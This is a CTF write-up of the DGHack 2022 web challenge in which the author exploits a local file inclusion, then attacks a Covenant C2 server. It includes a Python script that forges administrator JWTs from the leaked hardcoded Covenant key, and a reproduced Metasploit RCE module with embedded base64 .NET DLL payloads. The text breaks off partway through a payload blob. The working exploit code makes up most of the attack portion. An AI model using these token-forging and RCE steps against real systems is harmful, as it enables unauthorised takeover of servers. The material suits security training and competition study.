CTF/DGHack/Web,0day Hacker of hackers (A hunter who knows how to hunt)

Hello and welcome to this first write-up of the challenges of the DGHACK 2022 edition organized by the General Directorate of Armaments of the Ministry of the Armed Forces.

For this first write-up, I explain to you how I was able to solve the series of web challenges “a hunter who knows how to hunt”.

Let’s go !

DESCRIPTION PART 1

SOC analysts from the  Ministry of the Armed Forces  noticed suspicious flows coming from internal machines to a company showcase site. However, this site seems completely legitimate.

You have been mandated by the  Directorate General of Armaments  to carry out the investigation. Find a way to partially regain control of the website to find out how this server plays a role in the threat actor’s infrastructure.

No fuzzing is necessary.

The flag is located on the server where you can learn more about the attacker’s infrastructure.

Part 1: Local File Download

After a quick visit to the site, we quickly find an LFD, for Local File Download, which is in reality just an LFI (Local File Inclusion) in which we recover the result in the form of a direct download.

Clicking on the button redirects to http://unchasseursachantchasser.chall.malicecyber.com/download.php?menu=menu_updated_09_11_2022.jpg . We modify the get menu parameter by the path of the file that interests us.

Poc: http://unchasseursachantchasser.chall.malicecyber.com/download.php?menu=/etc/passwd

Nothing very complicated then, we included some files that might be interesting ( /etc/passwd , /etc/hosts )

then we jump directly to the web server configuration files in search of a vhost or something of the sort. We tried the Apache2 configuration files, without result, then those of nginx. Bingo! We then obtain the first flag in nginx.conf, as well as valuable information which will be useful to us later.

No vhost here, but a very strange endpoint which redirects requests to a docker container which seems, according to the comments, to be a C2 Covenant.

DESCRIPTION PART 2

Now that you have an idea of ​​the attacker’s infrastructure, you are asked to exploit it.

Take full control of CnC.

No brute force is needed.

The flag is located in the /flag.txt file.

Part 2: Exploiting the Covenant

1. Discovery of the covenant

Okay, let’s get into the hard part. After some research, we have confirmation that it is a covenant:

But the web interface is completely buggy (the resources loaded by the covenant are searched at the root of the site and not on the endpoint). Luckily we learned that Covenant has an API with which we will be able to interact ( here ). The documentation being low in content, I decided to install my own suit locally in order to understand a little how everything works (which I invite you to do).

2. The first flaw: craft your own administrator token

We understand a little about all the functionalities offered by the tool, but nothing that allows us to read the flag.txt file located at the root. As I deepened my research, I came across this article: hunting the hunters , which reminds us of the name of the challenge “a hunter knows how to hunt”. We learn that there was a commit on the covenant github repo in which a developer entered a hard key where it was not supposed to.

To be more precise, a random key is generated during the installation of covenant and is stored in Covenant/Data/appsettings.json. It allows you to encrypt the jwt tokens (which are used to guarantee authentication when calling the API). This new key is only generated in the case where its current value in the json file is the default value, i.e.:

"JwtKey": "[KEY USED TO SIGN/VERIFY JWT TOKENS, ALWAYS REPLACE THIS VALUE]",

Only during this famous commit, the developer forgot to reset the default value of the key in the json file, which means that all covenant services resulting from this commit will have the developer’s key.

This omission therefore allows us to know the value of the jwtkey and therefore offers us the possibility of generating our own tokens. We can also test this token and retrieve the list of users by contacting the API.

import jwt
import requests
data = {"JwtKey": "%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm'q%1ugAvfq6rC"}

content = {
    "sub": "hackline",
    "jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "df34c0a2fd5b408ab4fe0c1ac98d5677",
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
        "User"
    ],
    "exp": 1968264576,
    "iss": "Covenant",
    "aud": "Covenant"
}
token = jwt.encode(content, data['JwtKey'], algorithm='HS256').decode('utf-8')
print(token)

print requests.get("http://unchasseursachantchasser.chall.malicecyber.com/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/api/users",
		headers={"Content-Type":"application/json",
		"Authorization":"Bearer " + token}).text

Small explanation: here we generate a token with a user name and an arbitrary jti (it is not necessary to have a valid user/jti to access the users endpoint).

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoYWNrbGluZSIsImlzcyI6IkNvdmVuYW50IiwianRpIjoiOTI1Zjc0Y2EtZmM4Yy0yN2M2LTI0YmUtNTY2YjExYWI2NTg1IiwiZXhwIjoxOTY4MjY0NTc2LCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6ImRmMzRjMGEyZmQ1YjQwOGFiNGZlMGMxYWM5OGQ1Njc3IiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjpbIlVzZXIiXSwiYXVkIjoiQ292ZW5hbnQifQ.3w7Wgt4NrVn1F5jJZNGh7lbi12eCHBInHr4MSwof40Y
[{"id":"bd0f04cd-8363-4913-acbf-58dcaf173ecf","userName":"ServiceUser","normalizedUserName":"SERVICEUSER","email":null,"normalizedEmail":null,"emailConfirmed":false,"passwordHash":"","securityStamp":"S5PFNI5PDUGUKSNQYYORIAVTHXROHUBG","concurrencyStamp":"4a31b76b-3f79-49f0-aea9-615d9cba5899","phoneNumber":null,"phoneNumberConfirmed":false,"twoFactorEnabled":false,"lockoutEnd":null,"lockoutEnabled":true,"accessFailedCount":0},{"id":"5cff0c3a-cef3-4f94-90c4-ff27816ea063","userName":"DGHACK_ADMIN","normalizedUserName":"DGHACK_ADMIN","email":null,"normalizedEmail":null,"emailConfirmed":false,"passwordHash":"","securityStamp":"QCE2U7JRKO36CDQEHDVOI7N4H2LKZK3W","concurrencyStamp":"e6dcb5cd-0cf0-4a0e-a549-d4e12a6d2aac","phoneNumber":null,"phoneNumberConfirmed":false,"twoFactorEnabled":false,"lockoutEnd":null,"lockoutEnabled":true,"accessFailedCount":0}]

Here we obtain a list of Covenant users, as well as some information about them. Among these users, we notice the DGHACK_ADMIN , which we suspect belongs to the covenant administrator group, which is great because it would allow us to access all the functionalities of the API. So we craft our token:

content = {
    "sub": "DGHACK_ADMIN",
    "jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "75110aef-589c-4e5c-91e3-865ea8dfb2d6",
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
        "User",
        "Administrator"
    ],
    "exp": 1968264576,
    "iss": "Covenant",
    "aud": "Covenant"
}
token = jwt.encode(content, data['JwtKey'], algorithm='HS256').decode('utf-8')

And that’s it, we have access to all the features of the API!

3. RCE: it gets tough

All this is very nice, but the challenge does not stop there, we need RCE to read the famous flag.txt file at the root of the docker. The hunter-hunting-hunter article addresses the RCE part, but unfortunately it does not provide a script for exploiting the vulnerability and only leaves the reader with a vague idea of ​​the path of the attack. Lazy as I am, I look for a ready-made and functional script to exploit the vulnerability, but I only find this: a metasploit script in Ruby that I will have to make work.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Covenant C2 JWT Remote Code Execution Exploit',
      'Description' => %q{
        Due to an accidental commit of an ephemeral development application settings file, the secret
        value of all JWTs issued by Covenant was locked to a single value across all deployments.
        This vulnerability affect all Covenant from March 3rd, 2019 to July 13th, 2020.
      },
      'Author' => [
        'mekhalleh (RAMELLA Sébastien)' # module author (Zeop Entreprise)
      ],
      'References' => [
        ['URL', 'https://blog.null.farm/hunting-the-hunters'],
      ],
      'DisclosureDate' => '2020-10-27',
      'License' => MSF_LICENSE,
      'Platform' => ['windows'],
      'Arch' => [ARCH_X86, ARCH_X64],
      'Privileged' => true,
      'DefaultOptions' => {
        'RPORT' => 7443,
        'SSL' => true
      },
      'Targets' => [
        ['Automatic (DLL)',
          'Platform' => 'windows',
          'Arch' => [ARCH_X86, ARCH_X64],
          'Type' => :dll,
          #'DefaultOptions' => {
          #  'PAYLOAD' => 'php/meterpreter/reverse_tcp'
          #}
        ],
      ],
      'DefaultTarget' => 0,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      OptInt.new('C2_RPORT', [true, 'The TCP port for the listener.', 8080])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
  end

  def aes256_cbc_encrypt(key, data)
    key = Digest::SHA256.digest(key) if (key.kind_of?(String) && 32 != key.bytesize)
    iv = SecureRandom.random_bytes(16)
    iv = Digest::MD5.digest(iv) if (iv.kind_of?(String) && 16 != iv.bytesize)

    aes = OpenSSL::Cipher.new('AES-256-CBC')
    aes.encrypt
    aes.key = key
    aes.iv = iv
    ciphered = aes.update(data) + aes.final

    hmac = OpenSSL::Digest.new('sha256')
    signed = OpenSSL::HMAC.digest(hmac, key, ciphered)

    return([ciphered, iv, signed])
  end

  def check_tcp_port(ip, port)
    begin
      sock = Rex::Socket::Tcp.create(
        'PeerHost' => ip,
        'PeerPort' => port,
        'Proxies' => datastore['Proxies']
      )
    rescue ::Rex::ConnectionRefused, Rex::ConnectionError
      return false
    end

    sock.close
    return true
  end

  def create_listener(profile_id)
    data = {
      'useSSL': false,
      'urls': [
        "http://#{datastore['RHOSTS']}:#{datastore['C2_RPORT']}/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72"
      ],
      'id': 0,
      'name': @listener_name,
      'bindAddress': "#{datastore['RHOSTS']}",
      'bindPort': datastore['C2_RPORT'],
      'connectAddresses': [
        "#{datastore['RHOSTS']}"
      ],
      'connectPort': datastore['C2_RPORT'],
      'profileId': profile_id.to_i,
      'listenerTypeId': read_listener_type('HTTP'),
      'status': 'Active'
    }
    response = request_api('POST', normalize_uri('api', 'listeners', 'http'), data.to_json)

    return true if response && response.code == 200

    false
  end

  def generate_jwt(username = nil, userid = nil)
    secret = '%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm\'q%1ugAvfq6rC'
    username = Rex::Text.rand_text_alpha(6..8) if username.nil?
    userid = random_id if username.nil?

    jwt_hdr = {'typ':'JWT', 'alg':'HS256'}
    jwt_pld = {
      'sub': "#{username}",
      'jti': "#{random_id}",
      'http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier': "#{userid}",
      'http://schemas.microsoft.com/ws/2008/06/identity/claims/role': ["User", "Administrator"],
      'exp': 1615445546,
      'iss': 'Covenant',
      'aud': 'Covenant'
    }

    token_hdr = Base64.urlsafe_encode64(jwt_hdr.to_json.encode('utf-8')).gsub('=', '')
    token_pld = Base64.urlsafe_encode64(jwt_pld.to_json.encode('utf-8')).gsub('=', '')

    digest_sha256 = OpenSSL::Digest.new('sha256')
    signature = Base64.urlsafe_encode64(OpenSSL::HMAC.digest(digest_sha256, secret, "#{token_hdr}.#{token_pld}"))

    return "#{token_hdr}.#{token_pld}.#{signature.gsub('=', '')}"
  end

  def generate_stage0(aes_key, guid)
    headers = {}
    headers['Cookies'] = "ASPSESSIONID=#{guid}; SESSIONID=1552332971750"

    message = '<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>'

    ciphered, iv, signed = aes256_cbc_encrypt(Base64.decode64(aes_key), message)
    data = {
      'GUID': "#{guid}",
      'Type': 0,
      'Meta': '',
      'IV': Base64.encode64(iv).strip,
      'EncryptedMessage': Base64.encode64(ciphered).gsub("\n", ''),
      'HMAC': Base64.encode64(signed).strip
    }

    begin
      cli = Rex::Proto::Http::Client.new(datastore['RHOSTS'], datastore['C2_RPORT'], {}, false, nil, datastore['Proxies'])
      cli.connect

      request = cli.request_cgi({
        'method' => 'POST',
        'uri' => '/en-us/test.html',
        'headers' => headers,
        'agent' => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
        'vars_post' => {
          'i' => 'a19ea23062db990386a3a478cb89d52e',
          'data' => Base64.urlsafe_encode64(data.to_json),
          'session' => '75db-99b1-25fe4e9afbe58696-320bea73'

        }
      })
      response = cli.send_recv(request)
      cli.close
    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
      print_error('HTTP connection failed.')
      return false
    end
  end

  def generate_transform_payload # TODO
    # POC: execute calc
    # dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzAE9iamVjdABTdGFydAAAD2MAbQBkAC4AZQB4AGUAABcvAEMAIABjAGEAbABjAC4AZQB4AGUAAAAAAGUJYhnDlrJIoGWECAM5RrwABCABAQgDIAABBSABARERBCABAQ4GAAISNQ4OCLA/X38R1Qo6BQABAR0OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAADUBABguTkVU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'
    dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzAE9iamVjdABTdGFydAAAD2MAbQBkAC4AZQB4AGUAABcvAEMAIABjAGEAbABjAC4AZQB4AGUAAAAAAGUJYhnDlrJIoGWECAM5RrwABCABAQgDIAABBSABARERBCABAQ4GAAISNQ4OCLA/X38R1Qo6BQABAR0OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAADUBABguTkVUQ29yZUFwcCxWZXJzaW9uPXYzLjEBAFQOFEZyYW1ld29ya0Rpc3BsYXlOYW1lAAwBAAdQYXlsb2FkAAAMAQAHUmVsZWFzZQAADAEABzEuMC4wLjAAAAoBAAUxLjAuMAAAAAAAAN8iprQAAU1QAgAAAHQAAAC8JQAAvAcAAAAAAAAAAAAAAQAAABMAA